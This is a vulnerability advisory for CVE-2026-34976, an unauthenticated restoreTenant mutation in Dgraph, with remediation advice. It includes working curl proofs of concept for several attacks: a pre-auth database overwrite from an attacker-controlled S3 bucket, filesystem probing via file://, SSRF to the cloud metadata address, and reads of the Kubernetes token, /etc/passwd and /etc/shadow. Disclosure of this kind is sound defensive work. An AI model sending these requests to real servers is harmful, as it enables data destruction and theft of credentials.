Published April 2, 2026Updated August 11, 2026Source: osv
Summary
The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.
This mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.
## Authentication Bypass
Every admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.
When middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.
## PoC 1: Pre-Auth Database Overwrite
The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:
# No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }"
}'
# Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
# The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).
The resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.
Note: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:
mutation { restoreTenant(input: {
restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true },
fromNamespace: 0
}) { code message } }
## Live PoC Results (Dgraph v24.x Docker)
Tested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:
# restore (HAS middleware) -> BLOCKED
$ curl ... '{"query": "mutation { restore(...) { code } }"}'
{"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}
# restoreTenant (MISSING middleware) -> AUTH BYPASSED
$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}'
{"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}
The `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.
Filesystem enumeration also confirmed with distinct error messages:
- `/etc/` (exists): "No backups with the specified backup ID" (directory scanned)
- `/nonexistent/` (doesn't exist): "The uri path doesn't exists" (path doesn't exist)
- `/tmp/` (exists, empty): "No backups with the specified backup ID" (directory scanned)
## PoC 2: Local Filesystem Probe via file:// Scheme
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }"
}'
# Error response reveals whether /etc/ exists and its structure.
# backup_handler.go:130-132 creates a fileHandler for file:// URIs.
# fileHandler.ListPaths at line 161-166 walks the local filesystem.
# fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))
## PoC 3: SSRF via S3 Endpoint
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }"
}'
# The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.
# Error response may leak cloud metadata information.
## PoC 4: Vault SSRF + Server File Path Read
curl -X POST http://dgraph-alpha:8080/admin \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }"
}'
# vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080
# vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk
# encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag
## Fix
Add `restoreTenant` to `adminMutationMWConfig`:
"restoreTenant": gogMutMWs,
Koda Reef
Remediation
Upgrade to the fixed version using your package manager.
Go
Update github.com/dgraph-io/dgraph/v25 to 25.3.1 or later
go get github.com/dgraph-io/dgraph/v25@v25.3.1
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-34976?
CVE-2026-34976 affects github.com/dgraph-io/dgraph, github.com/dgraph-io/dgraph/v25 and github.com/dgraph-io/dgraph/v24. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34976 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
10.0
Exploitation is straightforward and causes maximum impact. Patch immediately.